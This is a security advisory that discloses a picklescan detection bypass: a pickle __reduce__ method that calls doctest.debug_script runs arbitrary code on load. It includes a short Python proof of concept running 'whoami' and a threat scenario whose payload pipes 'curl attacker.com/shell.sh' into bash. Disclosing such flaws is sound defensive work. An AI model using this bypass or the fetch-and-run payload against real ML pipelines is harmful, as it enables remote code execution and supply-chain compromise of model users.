GHSA-fqq6-7vqf-w3fg: picklescan: detection bypass allows undetected RCE in ML models

### Summary Using doctest.debug_script function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to doctest.debug_script function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from doctest import debug_script class EvilDoctestDebugScript: def __reduce__(self): # debug_script(src, pm=True) -> exec(src, ...) return debug_script, ("__import__('os').system('whoami')", True) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu

An adversary targets an organization that routinely downloads community PyTorch models. They craft a malicious .pkl file using the doctest.debug_script bypass — the __reduce__ method returns (debug_script, ('__import__("os").system("curl attacker.com/shell.sh | bash")', True)). The file is uploaded to a public model hub or distributed via a poisoned dependency. The victim's CI/CD pipeline runs picklescan, receives a clean verdict, and the pipeline calls torch.load() or pickle.load() on the file. The embedded payload executes with the permissions of the ML worker process — potentially giving the attacker shell access to training infrastructure, GPU servers, or data lakes containing proprietary training data.